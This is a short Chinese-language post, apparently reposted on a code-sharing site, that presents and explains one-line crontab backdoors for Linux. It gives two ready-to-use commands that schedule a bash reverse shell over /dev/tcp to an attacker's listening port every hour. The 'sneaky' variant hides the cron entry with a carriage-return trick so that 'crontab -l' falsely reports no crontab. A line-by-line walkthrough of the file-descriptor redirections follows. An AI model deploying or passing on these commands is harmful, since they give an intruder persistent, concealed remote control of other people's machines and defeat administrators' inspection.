crontab一句話后門分析


正常版本

(crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -


升級猥瑣版本

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

crontab -l直接提示no crontab 

 

分析:

echo '*/60 * * * *'

crontab格式 每隔60分鍾執行一次

exec 9<>/dev/tcp/127.0.0.1/8888

以讀寫方式打開/dev/tcp,並指定服務器名為:127.0.0.1(攻擊機) 端口號為:8888,指定描述符為9

要注意的是:/dev/tcp本身是不存在的,在/dev目錄下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三個基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成為描述符m的副本

exec 0<&9;   將fd9從定向到標准輸入;

exec 1>&9 2>&1;   將標准輸出從定向到文件fd9,將標准錯誤從定向到標准輸出.

簡單的理解為fd9=fd0  fd1=fd9 所以我的理解是,fd9從標准輸入讀入字符,處理后結果用標准輸出輸出.

/bin/bash --noprofile -i

打開一個shell

附:shell后門腳本大全


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM